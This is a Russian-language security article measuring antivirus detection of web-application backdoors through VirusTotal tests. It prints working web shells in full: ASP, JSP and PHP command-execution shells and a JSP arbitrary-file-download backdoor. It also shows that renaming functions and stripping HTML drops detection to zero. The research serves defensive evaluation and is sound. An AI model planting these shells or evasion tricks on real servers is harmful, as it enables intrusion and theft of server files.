Защита web-приложений. Эффективность антивируса в определении бэкдоров в web-приложениях

Защита web-приложений. Эффективность антивируса в определении бэкдоров в web-приложениях

В данной работе представлен детальный анализ эффективности антивирусного ПО при определении бэкдоров в web-приложениях. И этот анализ покажет несостоятельность техник, используемых в антивирусах, для определения бэкдоров и их последствий.

Введение:

Принимая во внимание резко увеличившееся число атак на web-приложения и статистику дефейсов серверов, возникает необходимость пересмотра механизмов защиты web-серверов. Согласно отчету Zone-H (http://www.zone-h.org/news/id/4735), количество успешных дефейсов увеличивается каждый год, в то время как техника выполнения атаки не претерпевает кардинальных изменений и использует уязвимости прикладного уровня. Но я предлагаю не вдаваться в подробности этих уязвимостей, а рассмотреть часто используемые хакерами бэкдоры, которые не детектируются антивирусами.

Рисунок 1.

Как правило, нарушитель проводит атаку по схеме, представленной на рисунке 1. Он ищет уязвимость, после чего старается, используя один из подходящих языков программирования (asp, php, asp.net, java и т.д.), загрузить бэкдор на сервер, что дает нарушителю контроль над ним. Брандмауэры и антивирусы являются неотъемлемой частью сети, причем, брандмауэры, как правило, не осуществляют мониторинг web трафика. Получается, что антивирусы являются единственным средством защиты web-сервера. А сейчас предлагаю детально рассмотреть некоторые бэкдоры и причины, по которым они не детектируются антивирусами.

Механизмы детектирования антивирусов и их слабые места.

Детектирование на базе сигнатурного анализа:

Для применения данной методики антивирус должен содержать сигнатуру бэкдора, то есть у производителя антивирусного ПО должна быть проанализированная копия этого файла.

Можно назвать следующие причины неэффективности данного метода при обнаружении бэкдоров:

  1. Сигнатурный анализ отлично работает в случае самостоятельно распространяющихся червей, так как пример такого механизма в скором времени попадает в компанию-вендор. Но в случае бэкдоров он теряет свою эффективность, так как этот вид вредоносного ПО не является столь массовым и, как правило, направлен на конкретный сервер, то есть сигнатура долго остается неизвестной.
  2. Сигнатуры основываются на строковых константах и вызовах функций, а не, например, командах из PE-файла. Простого переименования функции/строки или изменения порядка следования команд может быть достаточно для обхода сигнатурного анализатора.

Примечание:

Далее будет приведено несколько примеров, проанализированных в учебных целях. Все примеры были скачаны из коллекции бэкдоров для web-приложений несколько лет назад. Для анализа использовался Virus Total.

Тест 1.1

Цель: проверка некогда популярного бэкдора (покажем, что в данном случае популярность повышает риск детектирования).

Бэкдор: Имя файла: C99.php

Описание: Популярный и очень старый бэкдор. Имеет большое число настроек, был разработан 12 лет назад, его сигнатуры представлены в большинстве антивирусов.

Анализ:

File name: c99_locus7s.php
Submission date: 2010-12-27 08:06:42
Result: 34 /42 (81.0%)

Тест 1.2

Цель: Доказать, что сигнатурный анализ на основе строк легко обойти.

Описание: Бэкдоры, написанные на скриптовых языках, могут очень легко обходить сигнатурную защиту антивируса, так как в них нет закрепленных последовательностей команд (в отличие от PE). Вместо этого используются строки и вызовы функций. Простого переименования функции или изменения порядка следования операторов будет достаточно для обхода защиты антивируса. Второй тест проводился после удаления лога изменений из начала скрипта. Анализ показал, что бэкдор был детектирован всего 27 антивирусами.

File name: c99_locus7s.php
Submission date: 2011-01-25 12:17:19
Result: 27 /43 (62.8%)

Тест 2.1

Цель: Протестировать старый и не очень популярный бэкдор, и доказать, что сигнатурный анализ антивирусов в большинстве случаев не может распознать данный вирус.

Описание: Этот бэкдор был взят из той же коллекции, он был довольно старым и мог выполнять меньше функций (тем не менее, его функционала хватало для выполнения дефейса сайта).

Анализ: Только 2 антивируса определили этот бэкдор.

File name: AK-74 Security Team Web Shell Beta Version.php
Submission date: 2011-01-25 17:33:25
Result: 2/ 43 (4.7%)

Тест 3.1

Цель: Показать, что защиту на основе сигнатурного анализатора легко обойти.

Описание: Тест очередного старого и популярного бэкдора, определяемого всеми антивирусами. Попытаемся сделать его менее детектируемым. Простой скрипт, реализующий бэкдор, - cmdasp.asp – был получен из архива http://michaeldaw.org/projects/web-backdoor-compilation

Анализ: 81% всех антивирусов детектировали бэкдор из-за его популярности (то есть наличия его сигнатур в базе антивирусов).

File name: cmdasp.asp
Submission date: 2011-01-25 19:33:07
Result: 35/ 43 (81.4%)

Тест 3.2

Цель: Показать, что сигнатурный анализ бэкдоров для web-приложений легко обойти.

Описание: Представленный ниже пример, содержащий HTML код (лишь для форматирования вывода), был отредактирован в блокноте, в ходе чего этот HTML код был удален. Также в ходе редактирования были переименованы функции, после чего бэкдор был подвергнут анализу.

//html striped cmdasp.asp
On Error Resume Next
dim resp
' -- create the COM objects that we will be using -- '
Set woot = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
resp = woot.Run ("cmd.exe /c " dir, 0, True)
Response.Write Server.HTMLEncode(resp)

Анализ: Было доказано, что удаления HTML кода и переименования функций достаточно для обхода защиты антивируса.

File name: test2.asp
Submission date: 2011-01-25 19:57:03
Result: 0/ 43 (0.0%)

Детектирование на базе эвристического анализа

Только несколько лидирующих антивирусов используют данный метод для определения web-бэкдоров.

Можно назвать следующие причины непопулярности эвристического анализа при сканировании web приложений:

  1. Эвристический анализ основывается на динамическом анализе, поэтому всегда существует риск ложного детектирования. Для web-приложений этот риск особенно высок.
  2. В отличие от PE-файлов, web-приложения часто претерпевают изменения, поэтому методология анализа PE- файлов неприменима в этом случае.
  3. В отличие от PE-файлов, у web-скриптов не может быть цифровой подписи.
  4. Статический анализ PE-файлов, основанный на вызовах API, может использоваться для статического эвристического анализа. Но этот подход не оправдан для web-приложений из-за высокого риска ложного детектирования.
  5. Динамический анализ во время выполнения не применим для скриптовых языков, так как их код выполняется интерпретатором.
  6. Процесс управления угрозами и рисками для web-приложений плохо поддается автоматизации.

Думаю, самое время рассмотреть характерные черты бэкдоров для web-приложений. К ним можно отнести:

  1. Выполнение системных команд на сервере
  2. Перемещение по директориям с просмотром/редактированием файлов и программ
  3. Функции загрузки (полезны в повышении локальных прав)
  4. Скачивание документов и файлов
  5. Редактирование реестра
  6. Установление обратного соединения (Blind Shell)
  7. Попытки управления используемой базой данных

Web бэкдор при выполнении первой функции (выполнение команд) так или иначе может выполнять и все остальные, поэтому стоит рассмотреть ее поподробнее. Выполнить необходимую команду можно из любого скриптового языка, если в среде окружения сервера не отключены определенные функции.

Все функции, кроме 1, 6 и 7 могут выполняться и в обычных приложениях, что, в общем-то, и ведет к высокому риску ложного детектирования.

Тест 4.1

Цель: Тестирование бэкдора (простое выполнение команд на JSP, PHP) с использованием системных функций по умолчанию. Анализ эффективности антивирусов при использовании статического эвристического анализа.

Оболочка выполнения команд в JSP должна поддерживать возможность компиляции в .war файл.

// cmd.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>

Анализ: Ни один антивирус не определил бэкдор.

File name: cmd.jsp
Submission date: 2011-01-25 21:32:32 (UTC)
Result: 0/ 43 (0.0%)

Тест 4.2

Цель: Создание оболочки на PHP, которую можно добавить в существующий файл. Оболочка должна поддерживать передачу запроса через User-Agent заголовок.

<?php passthru(getenv("HTTP_ACCEPT_LANGUAGE"));
echo '<br> Fb1h2s'; ?>

Анализ: Ни один антивирус не определил бэкдор.

File name: accept_lanaguage.php
Submission date: 2011-01-25 21:36:20 (UTC)
Result: 0/ 43 (0.0%)

Представленный выше анализ показывает несостоятельность методики статического эвристического анализа для определения бэкдоров даже при условии использования функций getRuntime().exec и passthu().

Автоматизация классификации угроз и анализа рисков для web-приложений является сложной задачей. Сложно определить, какая часть кода является вредоносной. Рассмотрим еще один тест.

Тест 4.3

Цель: Классификация угрозы. Показать, что анализ web-бэкдоров во время выполнения программы невозможен.

Описание: Ниже представлена простая программа (JSP), которая позволяет загружать файлы с сервера. Скачивание файла с сервера не является запрещенным действием и, соответственно, не может быть использовано как сигнатура для эвристического анализа. Но что же будет, если программа попытается скачать конфигурационный или другой важный файл сервера? Подобные типы бэкдоров могут быть детектированы только с помощью анализа во время выполнения, то есть антивирусы не детектируют их.

Код: Скачивание файла с сервера

// Download_file.jsp by fb1h2s
<%@ page import="java.util.*,java.io.*"%><% File f = new File (request.getParameter("d")); response.setContentType ("application/ear");response.setHeader ("Content-Disposition", "attachment; filename=\"fb1h2s.bak\""); InputStream in = new FileInputStream(f);ServletOutputStream outs = response.getOutputStream();int bit = 2555555;int i = 0;while ((bit) >= 0){bit = in.read();outs.write(bit);}outs.flush();outs.close();in.close();%>

Анализ: Ни один из антивирусов, использующих статический и эвристический анализ, не обнаружил бэкдор. Этот бэкдор представляет собой реальную угрозу, в том числе и потому, что он не детектируется антивирусами. Единственное, что можно сделать – настроить политики доступа для файлов и папок.

File name: download_jsp.war
Submission date: 2011-01-26 3:36:20
Result: 0/ 43 (0.0%)

Вывод: Быстрый рост числа web-приложений и web-сред требует улучшения обеспечения их защиты. В данной статье было показано, что эффективность антивирусов при детектировании бэкдоров для web-приложений неадекватно низка. Это приводит к выводу, что вендорам, производящим антивирусы, необходимо быть в курсе ситуации с web бэкдорами и улучшать качество их детектирования. Администраторам web серверов в ходе обеспечения защиты от вторжений можно порекомендовать не надеяться на обычные антивирусы или брандмауэры. На рынке представлены специализированные решения, имеющие достаточно высокую эффективность.

Ссылки и примечания:

Тест 1.1

http://www.virustotal.com/file-scan/report.html?id=63d02e75b729e2cc17604235cf9c0b506b3ca5d578a8e32a0e85e28763ca25a6-1293437202

Тест 1.2

http://www.virustotal.com/file-scan/report.html?id=07623faf67eae7706dbe43bf45f383a1c19b6ab81dbc941ea7e47030412c7166-1295957839

Тест 2.1

http://www.virustotal.com/file-scan/report.html?id=dc91561fd0b7a555e9e1a26fdd189d18832b9d896f50e7f8afa153773d1a851c-1295976805

Тест 3.1

http://www.virustotal.com/file-scan/report.html?id=101bf8dcdd414f09ba46cdecbd96e8606c79b0e76b6a2ce040395e775cb4da86-1294670298

Тест 3.2

http://www.virustotal.com/file-scan/report.html?id=1b686ac4c7ffca2e546e3c82d0b9012109f74d72f957615395b043923b83054e-1295374370

Тест 4.1

http://www.virustotal.com/file-scan/report.html?id=6c4ccd3589f1d64843e884382b448f03d1277317524fa45e06d519b4b9ed5dc0-1295991152

Тест 4.2

http://www.virustotal.com/file-scan/report.html?id=f1460fb9e543fb5d1ccc7eadad05233a51fedb146c316017c31bf1856fd8f2a5-1295949577

Тест 4.3

http://www.virustotal.com/file-scan/report.html?id=092e2e97b33119a97441c24194c49bf75d3cec7371c42fb1f94e2ecaeb78d8c9-1295936735

Архив программ и аналитических исследований может быть найден по адресу:

http://www.garage4hackers.com/showthread.php?723-Effectiveness-of-Antivirus-in-Detecting-Web-Application-Backdoors

Не ждите, пока хакеры вас взломают - подпишитесь на наш канал и станьте неприступной крепостью!

Подписаться